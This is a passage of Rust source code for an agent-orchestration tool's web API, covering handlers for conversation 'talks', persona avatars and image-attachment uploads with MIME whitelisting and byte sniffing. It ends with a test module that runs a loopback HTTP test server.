7155 .await?;
7156 }
7157 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7158 return Err(ApiError::conflict(
7159 "a talk turn is running; change the agent once it has answered",
7160 ));
7161 };
7162 let switched = {
7163 let ui = Arc::clone(&ui);
7164 let id = id.clone();
7165 let cfg = cfg.clone();
7166 blocking(move || {
7167 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
7168 .map_err(ApiError::bad_request_from)?;
7169 let mut talk = ui.talks.get(&id)?;
7170 if !talk.status.open() {
7171 return Err(ApiError::conflict(format!(
7172 "talk {} is {} and takes no more turns",
7173 talk.short(),
7174 talk.status.as_str()
7175 )));
7176 }
7177 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
7178 Ok(talk)
7179 })
7180 .await
7181 };
7182 let fresh = {
7187 let ui = Arc::clone(&ui);
7188 let id = id.clone();
7189 blocking(move || Ok(ui.talks.get(&id)?)).await
7190 };
7191 let draining = match fresh {
7192 Ok(talk) => {
7193 let draining = talk.status.open()
7194 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7195 let talks = ui.talks.clone();
7196 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7197 draining
7198 }
7199 Err(_) => false,
7200 };
7201 let talk = switched?;
7202 Ok(Json(TalkView::new(talk, draining)))
7203}
7204
7205#[derive(Debug, Deserialize)]
7207struct TalkPersona {
7208 persona: String,
7209}
7210
7211async fn talk_persona(
7215 State(ui): State<Arc<Ui>>,
7216 Path(id): Path<String>,
7217 Json(body): Json<TalkPersona>,
7218) -> ApiResult<Json<TalkView>> {
7219 let id = {
7220 let ui = Arc::clone(&ui);
7221 blocking(move || resolve_talk(&ui.talks, &id)).await?
7222 };
7223 let repo = {
7224 let ui = Arc::clone(&ui);
7225 let id = id.clone();
7226 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7227 };
7228 let cfg = config_for(&repo).await?;
7229 {
7231 let ui = Arc::clone(&ui);
7232 let id = id.clone();
7233 let cfg = cfg.clone();
7234 let wanted = body.persona.clone();
7235 blocking(move || {
7236 if persona::find(&cfg.talk.personas, &wanted).is_none() {
7237 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
7238 }
7239 refuse_if_closed(&ui.talks.get(&id)?)
7240 })
7241 .await?;
7242 }
7243 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7244 return Err(ApiError::conflict(
7245 "a talk turn is running; change the persona once it has answered",
7246 ));
7247 };
7248 let switched = {
7249 let ui = Arc::clone(&ui);
7250 let id = id.clone();
7251 let cfg = cfg.clone();
7252 blocking(move || {
7253 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
7254 return Err(ApiError::bad_request(format!(
7255 "unknown persona `{}`",
7256 body.persona
7257 )));
7258 };
7259 let mut talk = ui.talks.get(&id)?;
7260 if !talk.status.open() {
7261 return Err(ApiError::conflict(format!(
7262 "talk {} is {} and takes no more turns",
7263 talk.short(),
7264 talk.status.as_str()
7265 )));
7266 }
7267 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
7268 Ok(talk)
7269 })
7270 .await
7271 };
7272 let fresh = {
7274 let ui = Arc::clone(&ui);
7275 let id = id.clone();
7276 blocking(move || Ok(ui.talks.get(&id)?)).await
7277 };
7278 let draining = match fresh {
7279 Ok(talk) => {
7280 let draining = talk.status.open()
7281 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7282 let talks = ui.talks.clone();
7283 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7284 draining
7285 }
7286 Err(_) => false,
7287 };
7288 let talk = switched?;
7289 Ok(Json(TalkView::new(talk, draining)))
7290}
7291
7292#[derive(Debug, Deserialize)]
7294struct TalkImplementers {
7295 implementers: u8,
7296}
7297
7298async fn talk_implementers(
7302 State(ui): State<Arc<Ui>>,
7303 Path(id): Path<String>,
7304 Json(body): Json<TalkImplementers>,
7305) -> ApiResult<Json<TalkView>> {
7306 let id = {
7307 let ui = Arc::clone(&ui);
7308 blocking(move || resolve_talk(&ui.talks, &id)).await?
7309 };
7310 let repo = {
7311 let ui = Arc::clone(&ui);
7312 let id = id.clone();
7313 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7314 };
7315 let cfg = config_for(&repo).await?;
7316 {
7321 let ui = Arc::clone(&ui);
7322 let id = id.clone();
7323 let cfg = cfg.clone();
7324 let wanted = body.implementers;
7325 blocking(move || {
7326 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
7327 refuse_if_closed(&ui.talks.get(&id)?)
7328 })
7329 .await?;
7330 }
7331 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7332 return Err(ApiError::conflict(
7333 "a talk turn is running; change the implementers once it has answered",
7334 ));
7335 };
7336 let switched = {
7337 let ui = Arc::clone(&ui);
7338 let id = id.clone();
7339 let cfg = cfg.clone();
7340 blocking(move || {
7341 let chosen =
7342 talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
7343 let mut talk = ui.talks.get(&id)?;
7344 if !talk.status.open() {
7345 return Err(ApiError::conflict(format!(
7346 "talk {} is {} and takes no more turns",
7347 talk.short(),
7348 talk.status.as_str()
7349 )));
7350 }
7351 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
7352 Ok(talk)
7353 })
7354 .await
7355 };
7356 let fresh = {
7358 let ui = Arc::clone(&ui);
7359 let id = id.clone();
7360 blocking(move || Ok(ui.talks.get(&id)?)).await
7361 };
7362 let draining = match fresh {
7363 Ok(talk) => {
7364 let draining = talk.status.open()
7365 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7366 let talks = ui.talks.clone();
7367 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7368 draining
7369 }
7370 Err(_) => false,
7371 };
7372 let talk = switched?;
7373 Ok(Json(TalkView::new(talk, draining)))
7374}
7375
7376async fn talk_close(
7378 State(ui): State<Arc<Ui>>,
7379 Path(id): Path<String>,
7380) -> ApiResult<Json<TalkView>> {
7381 blocking(move || {
7382 let id = resolve_talk(&ui.talks, &id)?;
7383 let mut talk = ui.talks.get(&id)?;
7384 talk::close(&mut talk, &ui.talks)?;
7385 let thinking = ui.is_thinking(&talk.id);
7386 Ok(Json(TalkView::new(talk, thinking)))
7387 })
7388 .await
7389}
7390
7391async fn talk_reopen(
7393 State(ui): State<Arc<Ui>>,
7394 Path(id): Path<String>,
7395) -> ApiResult<Json<TalkView>> {
7396 blocking(move || {
7397 let id = resolve_talk(&ui.talks, &id)?;
7398 let mut talk = ui.talks.get(&id)?;
7399 talk::reopen(&mut talk, &ui.talks)?;
7400 let thinking = ui.is_thinking(&talk.id);
7401 Ok(Json(TalkView::new(talk, thinking)))
7402 })
7403 .await
7404}
7405
7406async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7416 blocking(move || {
7417 let id = resolve_talk(&ui.talks, &id)?;
7418 ui.talks.remove(&id)?;
7419 Ok(StatusCode::NO_CONTENT)
7420 })
7421 .await
7422}
7423
7424fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
7426 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
7427}
7428
7429async fn talk_attachment_post(
7432 State(ui): State<Arc<Ui>>,
7433 Path(id): Path<String>,
7434 headers: HeaderMap,
7435 body: Bytes,
7436) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
7437 let mime = validate_attachment(&headers, &body)?;
7438 let name = filename_header(&headers);
7439 let data = body.to_vec();
7440 blocking(move || {
7441 let id = resolve_talk(&ui.talks, &id)?;
7442 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
7443 Ok((StatusCode::CREATED, Json(att)))
7444 })
7445 .await
7446}
7447
7448async fn talk_attachment_get(
7451 State(ui): State<Arc<Ui>>,
7452 Path((id, att)): Path<(String, String)>,
7453) -> ApiResult<Response> {
7454 blocking(move || {
7455 let id = resolve_talk(&ui.talks, &id)?;
7456 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
7457 return Err(ApiError::not_found(format!(
7458 "talk {id} has no attachment `{att}`"
7459 )));
7460 };
7461 Ok(attachment_response(&meta.mime, data))
7462 })
7463 .await
7464}
7465
7466fn avatar_url(talk_id: &str, p: &persona::Persona) -> String {
7469 let mut id = String::new();
7470 for b in p.id.bytes() {
7471 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
7472 id.push(char::from(b));
7473 } else {
7474 id.push_str(&format!("%{b:02X}"));
7475 }
7476 }
7477 format!(
7478 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
7479 persona_icon::fingerprint(p.icon.as_deref())
7480 )
7481}
7482
7483#[derive(Debug, Default, Deserialize)]
7484struct AvatarQuery {
7485 persona: Option<String>,
7486 builtin: Option<String>,
7488}
7489
7490const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
7492
7493fn builtin_avatar(id: &str) -> Response {
7494 (
7495 [
7496 (header::CONTENT_TYPE, "image/svg+xml"),
7497 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7498 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
7499 (header::CACHE_CONTROL, "no-cache"),
7500 ],
7501 persona_icon::builtin_svg(id),
7502 )
7503 .into_response()
7504}
7505
7506async fn talk_avatar(
7511 State(ui): State<Arc<Ui>>,
7512 Path(id): Path<String>,
7513 Query(q): Query<AvatarQuery>,
7514) -> ApiResult<Response> {
7515 blocking(move || {
7516 let id = resolve_talk(&ui.talks, &id)?;
7517 let talk = ui.talks.get(&id)?;
7518 let wanted = q
7519 .persona
7520 .as_deref()
7521 .map(str::trim)
7522 .filter(|p| !p.is_empty())
7523 .unwrap_or(&talk.persona)
7524 .to_owned();
7525 let specs = match Config::discover(&talk.repo, None) {
7526 Ok((cfg, _)) => cfg.talk.personas,
7527 Err(e) => {
7528 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
7529 Vec::new()
7530 }
7531 };
7532 let Some(found) = persona::find(&specs, &wanted) else {
7533 return Ok(builtin_avatar(persona::DEFAULT_ID));
7534 };
7535 let Some(icon) = found.icon.as_deref().filter(|_| q.builtin.is_none()) else {
7536 return Ok(builtin_avatar(&found.id));
7537 };
7538 match persona_icon::load(icon) {
7539 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
7540 let mut res = attachment_response(mime, bytes);
7541 res.headers_mut().insert(
7542 header::CACHE_CONTROL,
7543 header::HeaderValue::from_static("no-cache"),
7544 );
7545 Ok(res)
7546 }
7547 Ok((mime, _)) => {
7548 tracing::warn!(
7549 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
7550 found.id
7551 );
7552 Ok(builtin_avatar(&found.id))
7553 }
7554 Err(e) => {
7555 tracing::warn!(
7556 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
7557 found.id
7558 );
7559 Ok(builtin_avatar(&found.id))
7560 }
7561 }
7562 })
7563 .await
7564}
7565
7566fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
7577 if data.len() > ATTACHMENT_MAX_BYTES {
7578 return Err(ApiError::bad_request(format!(
7579 "attachment is {} bytes, over the {} MiB limit",
7580 data.len(),
7581 ATTACHMENT_MAX_BYTES / (1024 * 1024)
7582 ))
7583 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
7584 }
7585 if data.is_empty() {
7586 return Err(ApiError::bad_request("attachment is empty"));
7587 }
7588 let declared = declared_mime(headers)?;
7589 match sniffed_mime(data) {
7590 Some(sniffed) if sniffed == declared => Ok(declared),
7591 Some(sniffed) => Err(ApiError::bad_request(format!(
7592 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
7593 ))),
7594 None => Err(ApiError::bad_request(
7595 "the file's bytes do not match any accepted image format",
7596 )),
7597 }
7598}
7599
7600fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
7604 let raw = headers
7605 .get(header::CONTENT_TYPE)
7606 .and_then(|v| v.to_str().ok())
7607 .unwrap_or("")
7608 .split(';')
7609 .next()
7610 .unwrap_or("")
7611 .trim()
7612 .to_ascii_lowercase();
7613 ATTACHMENT_MIME_WHITELIST
7614 .iter()
7615 .find(|&&m| m == raw)
7616 .copied()
7617 .ok_or_else(|| {
7618 if raw == "image/svg+xml" {
7619 ApiError::bad_request(
7620 "SVG is not accepted: it can carry active content (e.g. a <script>), \
7621 not just a picture",
7622 )
7623 } else if raw.is_empty() {
7624 ApiError::bad_request("Content-Type is required for an attachment upload")
7625 } else {
7626 ApiError::bad_request(format!(
7627 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
7628 image/gif or image/webp"
7629 ))
7630 }
7631 })
7632}
7633
7634fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
7637 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
7638 Some("image/png")
7639 } else if data.starts_with(b"\xff\xd8\xff") {
7640 Some("image/jpeg")
7641 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
7642 Some("image/gif")
7643 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
7644 Some("image/webp")
7645 } else {
7646 None
7647 }
7648}
7649
7650fn filename_header(headers: &HeaderMap) -> String {
7656 headers
7657 .get(FILENAME_HEADER)
7658 .and_then(|v| v.to_str().ok())
7659 .map(str::trim)
7660 .filter(|s| !s.is_empty())
7661 .unwrap_or("attachment")
7662 .to_owned()
7663}
7664
7665fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
7672 let content_type = ATTACHMENT_MIME_WHITELIST
7673 .iter()
7674 .find(|&&m| m == mime)
7675 .copied()
7676 .unwrap_or("application/octet-stream");
7677 (
7678 [
7679 (header::CONTENT_TYPE, content_type),
7680 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7681 ],
7682 body,
7683 )
7684 .into_response()
7685}
7686
7687async fn config_for(repo: &FsPath) -> ApiResult<Config> {
7695 let repo = repo.to_path_buf();
7696 blocking(move || {
7697 let (cfg, _) = Config::discover(&repo, None)?;
7698 Ok(cfg)
7699 })
7700 .await
7701}
7702
7703fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
7709 let mut hits = ids
7710 .into_iter()
7711 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
7712 match (hits.next(), hits.next()) {
7713 (Some(one), None) => Ok(one),
7714 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
7715 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
7716 "`{prefix}` matches more than one {what}, including {a} and {b}"
7717 ))),
7718 }
7719}
7720
7721#[cfg(test)]
7722mod tests {
7723
7724 #[test]
7725 fn holder_reads_the_lease_not_the_record() {
7726 let mut q = Question::new(
7727 "run".to_owned(),
7728 "implement".to_owned(),
7729 "impl-A".to_owned(),
7730 "which?".to_owned(),
7731 String::new(),
7732 Vec::new(),
7733 );
7734 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7735 q.cwd = Some("/tmp".to_owned());
7736 assert_eq!(holder_of(&q, None), Some("nobody"));
7737 let beat = |kind, ago: i64| ask::Lease {
7738 kind,
7739 pid: 1,
7740 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7741 .unwrap(),
7742 };
7743 let fresh = beat(ask::WaiterKind::Asker, 1);
7744 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7745 let daemon = beat(ask::WaiterKind::Daemon, 1);
7746 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
7747 let stale = beat(ask::WaiterKind::Asker, 3600);
7748 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7749
7750 let mut c = Question::new(
7753 "task".to_owned(),
7754 crate::conduct::NODE.to_owned(),
7755 "conduct".to_owned(),
7756 "which?".to_owned(),
7757 String::new(),
7758 Vec::new(),
7759 );
7760 assert_eq!(holder_of(&c, None), Some("nobody"));
7761 c.cwd = Some("/tmp".to_owned());
7762 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
7763 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
7764 let deputy = beat(ask::WaiterKind::Deputy, 1);
7765 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
7766 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
7767
7768 let mut r = Question::new(
7770 String::new(),
7771 crate::bump::NOTICE_NODE.to_owned(),
7772 "release-watch".to_owned(),
7773 "stuck?".to_owned(),
7774 String::new(),
7775 vec!["hold".to_owned()],
7776 );
7777 assert_eq!(holder_of(&r, None), Some("nobody"));
7778 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
7779 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
7780 r.deputy = None;
7782 r.seat = "bump".to_owned();
7783 assert_eq!(holder_of(&r, None), None);
7784
7785 let mut m = Question::new(
7788 "run".to_owned(),
7789 crate::land::APPROVAL_NODE.to_owned(),
7790 "land".to_owned(),
7791 "merge?".to_owned(),
7792 String::new(),
7793 Vec::new(),
7794 );
7795 assert_eq!(holder_of(&m, None), Some("nobody"));
7796 assert_eq!(
7797 holder_of(&m, Some(&fresh)),
7798 Some("nobody"),
7799 "a lease with no deputy is not a listener"
7800 );
7801 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
7802 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
7803 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
7804 assert_eq!(holder_of(&m, None), Some("nobody"));
7805 }
7806
7807 fn stub_config() -> Config {
7808 Config {
7811 agents: vec![crate::config::AgentSpec {
7812 id: "stub".to_owned(),
7813 kind: AgentKind::Command,
7814 model: None,
7815 command: vec!["true".to_owned()],
7816 extra_args: Vec::new(),
7817 env: Default::default(),
7818 prompt_delivery: None,
7819 }],
7820 ..Config::default()
7821 }
7822 }
7823
7824 fn plain_question(seat: &str) -> Question {
7825 Question::new(
7826 String::new(),
7827 "n".to_owned(),
7828 seat.to_owned(),
7829 "s".to_owned(),
7830 String::new(),
7831 Vec::new(),
7832 )
7833 }
7834
7835 #[test]
7836 fn deputies_enabled_follows_the_config() {
7837 let on = stub_config();
7838 assert!(crate::deputy::can_start(Some(&on), ""));
7839 assert!(crate::deputy::can_start(Some(&on), "stub"));
7840 let mut off = on.clone();
7841 off.daemon.max_deputies = 0;
7842 assert!(!crate::deputy::can_start(Some(&off), ""));
7843 let mut empty = on;
7844 empty.agents.clear();
7845 assert!(!crate::deputy::can_start(Some(&empty), ""));
7846 assert!(!crate::deputy::can_start(None, ""));
7847 }
7848
7849 #[test]
7850 fn question_views_load_the_config_once() {
7851 let dir = TempDir::new().unwrap();
7852 let store = ask::Questions::at(dir.path().to_path_buf());
7853 let mut with_deputy = plain_question("b");
7854 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
7855 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
7856
7857 let calls = std::cell::Cell::new(0usize);
7858 let views = question_views(qs.clone(), &store, || {
7859 calls.set(calls.get() + 1);
7860 Some(stub_config())
7861 });
7862 assert_eq!(calls.get(), 1);
7863 assert_eq!(views.len(), 3);
7864 for (v, q) in views.iter().zip(&qs) {
7865 assert_eq!(
7866 v.deputies_enabled,
7867 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
7868 );
7869 }
7870
7871 let views = question_views(qs, &store, || None);
7872 assert!(views.iter().all(|v| !v.deputies_enabled));
7873
7874 let calls = std::cell::Cell::new(0usize);
7875 let views = question_views(Vec::new(), &store, || {
7876 calls.set(calls.get() + 1);
7877 None
7878 });
7879 assert!(views.is_empty());
7880 assert_eq!(calls.get(), 0);
7881 }
7882
7883 use pretty_assertions::assert_eq;
7884 use serde_json::Value;
7885 use tempfile::TempDir;
7886 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
7887
7888 use super::*;
7889 use crate::config::Config;
7890 use crate::queue::Source;
7891
7892 const SETTLE_STEPS: usize = 3_000;
7903
7904 struct Fixture {
7910 home: TempDir,
7911 addr: SocketAddr,
7912 }
7913
7914 impl Fixture {
7915 async fn start() -> Self {
7916 Self::with_loop(launch_idle).await
7917 }
7918
7919 async fn with_loop(launch: Launch) -> Self {
7921 let home = TempDir::new().expect("temp home");
7922 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
7923 Self { home, addr }
7924 }
7925
7926 async fn with_repo(repo: PathBuf) -> Self {
7930 let home = TempDir::new().expect("temp home");
7931 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
7932 Self { home, addr }
7933 }
7934
7935 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
7938 let home = TempDir::new().expect("temp home");
7939 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
7940 Self { home, addr }
7941 }
7942
7943 async fn serve(
7944 home: &FsPath,
7945 repo: PathBuf,
7946 launch: Launch,
7947 machine: Option<PathBuf>,
7948 ) -> SocketAddr {
7949 let queue = Queue::at(home.join("queue"));
7950 let runs = home.join("runs");
7951 std::fs::create_dir_all(&runs).expect("runs dir");
7952 let worktrees = home.join("wt").join("magi");
7953 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
7954 let ui = Ui::new(
7955 queue,
7956 Questions::at(home.join("questions")),
7957 Talks::at(home.join("talks")),
7958 runs,
7959 home.to_path_buf(),
7960 repo,
7961 )
7962 .with_worktrees_root(worktrees)
7963 .with_machine_config(machine)
7964 .with_launch(launch);
7965 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7966 .await
7967 .expect("bind loopback");
7968 let addr = listener.local_addr().expect("local addr");
7969 tokio::spawn(async move {
7970 let _ = axum::serve(listener, ui.router()).await;
7971 });
7972 addr
7973 }
7974
7975 fn queue(&self) -> Queue {
7976 Queue::at(self.home.path().join("queue"))
7977 }
7978
7979 fn questions(&self) -> Questions {
7980 Questions::at(self.home.path().join("questions"))
7981 }
7982
7983 fn talks(&self) -> Talks {
7984 Talks::at(self.home.path().join("talks"))
7985 }
7986
7987 fn runs(&self) -> PathBuf {
7988 self.home.path().join("runs")
7989 }
7990
7991 async fn get(&self, path: &str) -> Res {
7992 request(self.addr, "GET", path, None).await
7993 }
7994
7995 async fn head(&self, path: &str) -> Res {
8000 request(self.addr, "HEAD", path, None).await
8001 }
8002
8003 async fn post(&self, path: &str, body: Option<&str>) -> Res {
8004 request(self.addr, "POST", path, body).await
8005 }
8006
8007 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
8008 request_with(self.addr, "GET", path, None, extra).await
8009 }
8010
8011 async fn delete(&self, path: &str) -> Res {
8012 request(self.addr, "DELETE", path, None).await
8013 }
8014
8015 async fn put(&self, path: &str, body: &str) -> Res {
8016 request(self.addr, "PUT", path, Some(body)).await
8017 }
8018
8019 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
8021 request_bytes(self.addr, path, headers, body).await
8022 }
8023 }
8024
8025 struct Res {
8026 status: u16,
8027 headers: String,
8028 head: String,
8033 body: String,
8034 bytes: Vec<u8>,
8038 }
8039
8040 impl Res {
8041 fn json(&self) -> Value {
8042 serde_json::from_str(&self.body)
8043 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
8044 }
8045
8046 fn header(&self, name: &str) -> Option<&str> {
8048 self.head.lines().find_map(|line| {
8049 let (key, value) = line.split_once(':')?;
8050 key.trim()
8051 .eq_ignore_ascii_case(name)
8052 .then(|| value.trim_start().trim_end_matches('\r'))
8053 })
8054 }
8055 }
8056
8057 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
8060 request_with(addr, method, path, body, &[]).await
8061 }
8062
8063 async fn request_with(
8067 addr: SocketAddr,
8068 method: &str,
8069 path: &str,
8070 body: Option<&str>,
8071 extra: &[(&str, &str)],
8072 ) -> Res {
8073 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
8074 for (name, value) in extra {
8075 head.push_str(&format!("{name}: {value}\r\n"));
8076 }
8077 if let Some(body) = body {
8078 head.push_str("Content-Type: application/json\r\n");
8079 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
8080 }
8081 head.push_str("\r\n");
8082 if let Some(body) = body {
8083 head.push_str(body);
8084 }
8085 let mut socket = tokio::net::TcpStream::connect(addr)
8086 .await
8087 .expect("connect to the test server");
8088 socket
8089 .write_all(head.as_bytes())
8090 .await
8091 .expect("write request");
8092 let mut raw = Vec::new();
8093 socket.read_to_end(&mut raw).await.expect("read response");
8094 let split = raw
8097 .windows(4)
8098 .position(|w| w == b"\r\n\r\n")
8099 .expect("a header block");
8100 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
8101 let bytes = raw[split + 4..].to_vec();
8102 let status = head
8103 .lines()
8104 .next()
8105 .and_then(|line| line.split_whitespace().nth(1))
8106 .and_then(|code| code.parse().ok())
8107 .expect("a status line");
8108 Res {
8109 status,
8110 headers: head.to_lowercase(),
8111 head,
8112 body: String::from_utf8_lossy(&bytes).into_owned(),
8113 bytes,
8114 }
8115 }
8116
8117 async fn request_bytes(
8123 addr: SocketAddr,
8124 path: &str,
8125 headers: &[(&str, &str)],
8126 body: &[u8],
8127 ) -> Res {
8128 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
8129 for (name, value) in headers {
8130 head.push_str(&format!("{name}: {value}\r\n"));
8131 }
8132 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
8133 let mut socket = tokio::net::TcpStream::connect(addr)
8134 .await
8135 .expect("connect to the test server");
8136 socket
8137 .write_all(head.as_bytes())
8138 .await
8139 .expect("write request head");
8140 socket.write_all(body).await.expect("write request body");
8141 let mut raw = Vec::new();
8142 socket.read_to_end(&mut raw).await.expect("read response");
8143 let split = raw
8144 .windows(4)
8145 .position(|w| w == b"\r\n\r\n")
8146 .expect("a header block");
8147 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
8148 let bytes = raw[split + 4..].to_vec();
8149 let status = head
8150 .lines()
8151 .next()
8152 .and_then(|line| line.split_whitespace().nth(1))
8153 .and_then(|code| code.parse().ok())
8154 .expect("a status line");
8155 Res {
8156 status,
8157 headers: head.to_lowercase(),
8158 head,
8159 body: String::from_utf8_lossy(&bytes).into_owned(),
8160 bytes,
8161 }
8162 }
8163
8164 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
8166 let mut state = RunState::new(
8167 PathBuf::from("/repo/magi"),
8168 "main".to_owned(),
8169 "0123456789abcdef".to_owned(),
8170 "Add a web UI\n\nMobile first.".to_owned(),
8171 Config::default(),
8172 );
8173 state.id = id.to_owned();
8174 state.status = status;
8175 let dir = runs.join(id);
8176 std::fs::create_dir_all(&dir).expect("run dir");
8177 std::fs::write(
8178 dir.join("run.json"),
8179 serde_json::to_string_pretty(&state).expect("serialize run"),
8180 )
8181 .expect("write run.json");
8182 }
8183
8184 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
8188 let mut state = RunState::new(
8189 PathBuf::from(repo),
8190 "main".to_owned(),
8191 "0123456789abcdef".to_owned(),
8192 "task".to_owned(),
8193 Config::default(),
8194 );
8195 state.id = id.to_owned();
8196 state.status = status;
8197 let dir = runs.join(id);
8198 std::fs::create_dir_all(&dir).expect("run dir");
8199 std::fs::write(
8200 dir.join("run.json"),
8201 serde_json::to_string_pretty(&state).expect("serialize run"),
8202 )
8203 .expect("write run.json");
8204 }
8205
8206 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
8207 let body = serde_json::json!({
8208 "schema": 1,
8209 "pid": 4242,
8210 "started_at": Timestamp::now().to_string(),
8211 "updated_at": updated_at.to_string(),
8212 "idle": false,
8213 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
8214 "completed": 7,
8215 "polls": 143,
8216 });
8217 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
8218 }
8219
8220 fn launch_idle(
8230 _opts: daemon::Opts,
8231 stop: daemon::Stop,
8232 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8233 Box::pin(async move {
8234 while !stop.stopped() {
8235 tokio::time::sleep(Duration::from_millis(2)).await;
8236 }
8237 Ok(())
8238 })
8239 }
8240
8241 fn launch_broken(
8244 _opts: daemon::Opts,
8245 _stop: daemon::Stop,
8246 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8247 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
8252 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
8253 Box::pin(async move {
8254 Err(anyhow::anyhow!(if first {
8255 "publish the daemon status file: read-only file system"
8256 } else {
8257 "the restarted stand-in failed as well"
8258 }))
8259 })
8260 }
8261
8262 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
8269 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
8270
8271 fn launch_knocking_on_the_way_out(
8278 _opts: daemon::Opts,
8279 stop: daemon::Stop,
8280 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8281 Box::pin(async move {
8282 while !stop.stopped() {
8283 tokio::time::sleep(Duration::from_millis(2)).await;
8284 }
8285 let addr = PARK_KNOCK
8286 .lock()
8287 .expect("park knock")
8288 .expect("the test set an address");
8289 let heard = request(addr, "GET", "/api/health", None).await.status;
8290 *PARK_HEARD.lock().expect("park heard") = Some(heard);
8291 Ok(())
8292 })
8293 }
8294
